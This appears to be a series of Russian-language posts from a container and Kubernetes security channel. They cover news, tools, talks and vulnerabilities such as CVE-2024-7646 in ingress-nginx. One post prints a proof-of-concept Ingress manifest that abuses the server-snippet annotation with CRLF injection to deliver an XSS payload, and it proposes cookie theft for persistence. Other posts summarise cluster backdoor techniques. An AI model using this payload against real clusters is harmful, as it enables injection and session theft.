HashiCorp Vault для интеграции с Kubernetes использует например такие механизмы как Vault Secrets Operator. Но, к сожалению, Vault не умеет шифровать секреты перед их записью в etcd. Если вы хотели попробовать это у себя, то vault-kubernetes-kms в помощь.

KMS плагин запускается как Static Pod, создает unix socket и получает запросы на шифрование через kubeapi. Затем плагин использует ключ шифрования Vault transit и отправляет их обратно kubeapi, который затем сохраняет зашифрованный ответ в etcd.

Основные фичи:

- поддержка Vault Token, AppRole authentication
- поддержка KMS Plugin v1 & v2
- автоматическое обновление токенов для предотвращения истечения срока действия токенов

Наш хороший товарищ Алексей Федулаев недавно провел замечательный вебинар "Побеги из контейнеров / Docker Escape", который можно посмотреть на его канале и к которому идет сопроводительный репозитарий со всеми инструкциями и исходными кодами!

Среди рассматриваемых побегов, следующие сценарии:
1) с помощью SYS_ADMIN
2) с помощью SYS_PTRACE
3) с помощью SYS_MODULE
4) с помощью DAC_READ_SEARCH
5) с помощью DAC_OVERRIDE
6) с помощью docker soсket внутри контейнера

Также у Алексея есть вебинары "Атаки на CICD", "Безопасность Docker. Ультимативный гайд по харденингу Docker", "Введение в безопасность Docker".

P.S. Про побеги из контейнеров особенно актуально в преддверии нашего доклад на OFFZONE 2024 ;)

P.S.S. Если вы что-то создаете по тематике канала, то не стесняйтесь это присылать!

В официальном блоге Kubernetes вышла заметка "Kubernetes 1.31: Read Only Volumes Based On OCI Artifacts (alpha)".

С версии 1.31 стало возможным монтировать образы как volume (источники данных) с любой информацией в нем. Тоесть можно хранить и распространять любой контент через OCI реджистри, а потом подмонтрировать к основному контейнеру с бизнес логикой. На пример, конфиги, базы знаний, feed уязвимостей, нейронки, LLM модели и т.д. И теперь это можно не пихать в основной образ!

Работа над этим идет в KEP-4639: VolumeSource: OCI Artifact and/or Image.

Что требуется для использования на текущий момент:
1) Kubernetes 1.31
2) Включить ImageVolume feature gate
3) Соответствующий kubelet
4) Container runtime с поддержкой фичи. На пример, CRI-O ≥ v1.31

P.S. Сегодня-завтра будем на конференции OFFZONE 2024. Будем рады пообщаться лично!

Небольшая техническая заметка "How Kubernetes picks which pods to delete during scale-in", которая раскрывает закулисье алгоритма ответственно за удаления Pod когда Deployment скейлится вниз. Все это автор делает очень подробно на базе версии v1.30.0-alpha.0.

Всем хорошей пятницы и выходных!

P.S. Сегодня на OFFZONE в 12:00 на main track рассказываем про "Побеги из контейнеров: Kubernetes 2024 edition" - приходите ;)

Ingress-nginx обзавёлся еще одной уязвимостью – CVE-2024-7646: Ingress-nginx Annotation Validation Bypass. Эта CVE как и предыдущие в ingress-nginx связана с инъекцией в аннотацию, выполнением произвольного кода в контейнере nginx controller и как следствие с получением привилегированного Service Account Token с возможностью читать все секреты в кластере.

Исправления доступны с версии 1.12. В качестве меры митигации также можно рассмотреть запрет на использование определенных аннтоаций в ingress ресурсе с помощью политик Policy Engine.

На нашем сайте в разделе исследований стали доступны слайды с выступления "Container escapes: Kubernetes 2024 edition" с недавно прошедшей конференции OFFZONE 2024!

Видео будет доступно позже и оно обязательно к просмотру, так как мы с Николаем Панченко (Т-Банк) сделали совсем не тривиальную подачу материала (даже задействовали робота доставщика) =)

И как всегда будем рады ответить на любые вопросы в комментариях к посту.

Сегодня хотим поделиться неплохим ресерчем – "Kubernetes has its “ADCS” – How To Backdoor a Kubernetes in silence and more persistent?".

В нём автор рассказывает о возможных методах пост эксплуатации и закрепления в кластере Kubernetes:

- Trusted Proxy for APIServer
- Subsequent Utilization of ETCD Certificates
- Client Certificates
- JWT Tokens

Отдельно отметим технику с созданием Ingress, а также Service с использованием externalName, чтобы прокинуть kubeapi наружу.

Совсем незаметно с Kubernetes 1.31 в PodSecurityContext появилось новое поле supplementalGroupsPolicy, позволяющее описывать поведение для работы с supplementalGroups.

Это дает возможность решить проблему о которой мы писали тут (обход PolicyEngine и получение доступа к директориям куда нельзя).

В итоге, это решалось в рамках KEP-3619:Fine-grained SupplementalGroups control. А подробнее можно почитать в заметке на официальном блоге.

Возвращаясь к свежей уязвимости в ingress-nginx – CVE-2024-7646: Ingress-nginx Annotation Validation Bypass, о которой мы рассказывали в начале недели, хочется упомянуть еще один интересный вектор, который можно эксплуатировать, благодаря данной CVE.

Все предыдущие уязвимости в ingress-nginx, ровно как и свежая, позволяют исполнять произвольный код или читать произвольные файлы в контейнере ingress controller, что приводит к раскрытию Service Account Token с возможностью чтения секретов во всем кластере.

Новый потенциальный импакт в виде XSS, Сache poisoning attacks, Bypass security headers or inject malicious headers может быть достингут, используя инъекцию в аннотацию nginx.ingress.kubernetes.io/server-snippet и возможность манипулировать символом возврата каретки (\r). PoC выглядит таким образом:

apiVersion: networking.k8s.io/v1
kind: Ingress
metadata:
  name: example-ingress
  annotations:
    nginx.ingress.kubernetes.io/server-snippet: |
      add_header X-Pwn-Header "Pwn\r\n
      HTTP/1.1 200 OK
      Content-Type: text/html
      <script>alert('XSS');</script>
      --------";
      return 200 "PWNed";
spec:
  rules:
    - http:
        paths:
          - pathType: ImplementationSpecific
            path: /foo(/|$)(.*)
            backend:
              service:
                name: test-service
                port:
                  number: 8080

Во время пентеста можно рассмотреть как вариант закрепления и постэкспулатации, с помощью кражи кук от какой-нибудь админской панели.

P.S. – Есть нюанс, для эксплуатации нужно разрешение на использование аннотации snippet. По умолчанию это не разрешено, снять запрет можно изменив значение в Configmap ingress-nginx-controller.

С началом нового учебного года наша команда Luntry запускает новую инициативу в виде помощи учащимся с исследовательскими работами по теме безопасности контейнеризации, Kubernetes.

Если вы еще учитесь, но уже хотите работать с актуальными задачами по контейнеризации для своей курсовой/диплома/магистерской/докторской или же делаете какое-то исследование в этой сфере — мы можем вам помочь!

С учетом ваших текущих знаний, опыта, интересов мы поможем подобрать соответствующую тему (если ее еще нет) и предложим поддержку в формате кураторства!

В общем, решили вносить наш посильный вклад в образование =)

P.S. И не забывайте про гигантскую коллекцию материалов по безопасности контейнеризации у нас на сайте в разделе Исследования!

Интересная тулза sockdump позволяет дампать unix domain socket traffic через bpf.

Есть возможность сохранять пакеты в pcap, чтобы удобно смотреть их через Wireshark.

Сегодняшний пост будет полезен как Red team, так и Blue team. А речь идет про репозитарий "THC's favourite Tips, Tricks & Hacks (Cheat Sheet)" от легендарных ребят The Hacker's Choice (THC).

В данной репе собраны разные приемы и трюки для Linux, что помогают атакующему развить или скрыть свою деятельность. Абсолютное большинство из этого не требует какого-то специализированного ПО, а лишь bash и стандартное, легитимное ПО с понимание принципов работы Linux. Что сразу нас приводит к Living off the Land (LotL) и GTFOBin. Все это упрощает деятельность атакующей стороны, и сильно усложняет деятельность по обнаружению для защищающей стороны.

И это в очередной раз нам говорит о том почему важно использовать в контейнерных окружениях специализированные контейнерные ОС для хоста и минимальные/тонкие образы для самих контейнеров. Это все лишает атакующего пространства для развития атаки, чем очень сильно помогает защищающей стороне.

Интересный инструмент encap-attack, основанный на ресерчах Rory McCune (Kubernetes is a router) и James Cleverley-Prance (Three Surprising K8s Networking “Features” and How to Defend Against Them) позволяет автоматизировать процесс обнаружения и эксплуатации атак на оверлейные сети.

По сути тулза выполняет четыре функции:

1) Анализ сетевого трафика для идентификации пакетов VXLAN/IP-in-IP и извлечения полезной информации
2) Запрос к серверу API Kubernetes и определение диапазона IP-адресов службы и IP-адреса службы CoreDNS
3) Отправка отдельных инкапсулированных DNS и HTTP-запросов
4) Создание туннеля, который инкапсулирует трафик по всем определенным маршрутам и отправляет его дальше, что позволяет нам использовать другие стандартные инструменты (например, nmap), как если бы мы находились внутри оверлейной сети

Ознакомиться более подробно с инструментом можно в заметке автора encap-attack: Identification and Exploitation of Network Encapsulation in Kubernetes.

Эту неделю завершаем новой статьей из цикла (1,2,3) Kubernetes Security Fundamentals: Admission Control.

В статье рассматриваются Admission Controller Phases, а также встроенные (PSA) и внешние admission controllers (OPA Gatekeeper, Kyverno). Отдельного внимания заслуживает раздел Risks of implementing external admission control в котором рассказывается о важности правильной настройки вебхука.

Admission control играют важную роль в безопасности Kubernetes, поскольку позволяют реализовывать и применять политики безопасности в Kubernetes кластерах. Must have для ознакомления!

На нашем сайте в разделе исследований стала доступна запись выступления "Container escapes: Kubernetes 2024 edition" с недавно прошедшей конференции OFFZONE 2024! Все видео с конференции, где были и другие доклады затрагивающие тему безопасности контейнеров, образов можно посмотреть тут.

И как всегда будем рады ответить на любые вопросы в комментариях к посту ;)

Стали доступны видео с недавно прошедшей конферецнии KubeCon + CloudNativeCon China 2024. Сами доклады и презентации к ним можно найти тут.

Докладов исключительно на security тематику не так много, однако вся программа конференции в целом довольно насыщенная и обширная.

Оказывается есть container specific OS от ребят из VMWare, которая называется Photon OS (и уже доступна аж 5 версия). Официально описание следующее: "Photon OS is a Linux based, open source, security-hardened, enterprise grade appliance operating system that is purpose built for Cloud and Edge applications." Из фишечек можно выделить направленность на тематику Edge приложений. Из security моментов там можно выделить:
- Поддержка Control Group V2
- Поддержка SELinux policy
- Поддержка rootless containers
- Поддержка Kernel Live Patching
- Использование Kernel Self-Protection Project (KSPP)

Таким образом кажется все крупнейшие вендоры уже выпустили/используют специализированную ОС: Google, Amazon, Microsoft, RedHat, VMWare, Fedora, OpenSUSE + OS Talos (его нельзя не упомянуть).

Мы уже давно рассказываем, что в специализированных (контейнерных и т.д.) окружениях вопрос безопасности хостовой ОС должен закрывать не классическими способами, а таким. И благодаря этому можно вопрос хостовой безопасности или закрыть полностью, или вынести далеко на второй план относительно текущего состояния дел. И дорогостоящие инженеры бы занимались не ежедневной рутиной, а решали бы действительно интересные задачи.

17 сентября наша команда Luntry в лице Дмитрия Евдокимова выступит на Глобальном Форуме Ecumene, который проводится при поддержке ООН.

Мы примим участие в треке «Информационная безопасность» на круглом столе на тему «Равноправие в технологиях» (там собралась очень интересная и авторитетная компания).

Для нашей команды, продвигающей и развивающей тему безопасности микросервисных приложений и контейнерных окружений, это уникальный опыт и прекрасная возможность представить свои взгляды на современную информационную безопасность.

В интересной статье Securing Multi-Cluster ArgoCD автор описывает своё решение по поднятию и развертыванию безопасного мультикластерного Argo CD.

В Argo есть возможность добавлять удаленные кластера, но есть проблема – это происходит благодаря Service Account и токену связанного с ним для аутентификации на удаленном кластере. Автор предлагает решить проблему с помощью oidc-proxy и короткоживущих токенов.

26 сентября в 11:00 мы решили провести вебинар/стрим "С чего начать защиту кластера Kubernetes?".

Вебинар для тех, кто только начинает заниматься вопросами безопасности контейнерных сред на базе Kubernetes и не знает всех тонкостей микросервисной инфраструктуры. Обычно мы рассказываем что-то очень хардкорное, глубокое, а тут решили отойти от этого и показать как провести успешный и легкий старт в данной теме.

Рассмотрим:
- какие минимально-необходимые меры принимать для защиты кластера в моменте
- как постепенно наращивать уровень безопасности
- какие минимальные действия и вложения могут дать наибольший результат
- как не пропасть в рутине исправления множества уязвимостей
- как подходить к решению задачи при помощи Luntry

Зарегистрироваться можно тут.

P.S. В комментариях к данному посту можете написать свои вопросы/проблемы что у вас сейчас возникают или возникали при старте. И мы постараемся все это рассмотреть на стриме.

В эту пятницу 13 мы вам принесли не страшные истории про атаки и взломы, а супер свежие записи докладов с eBPF Summit 2024. Тут можно ознакомиться с расписанием и описанием докладов, а тут посмотреть все видео. Конечно же, безопасность тут не обошли стороной:
- Living on the Edge - securing containers on embedded platforms using eBPF
- Demystifying eBPF security: Navigating risks, safeguards, and best practices
- Security Assessment of the eBPF Verifier
- Towards Secure Kernel Extensibility With eBPF

Всем хороших выходных!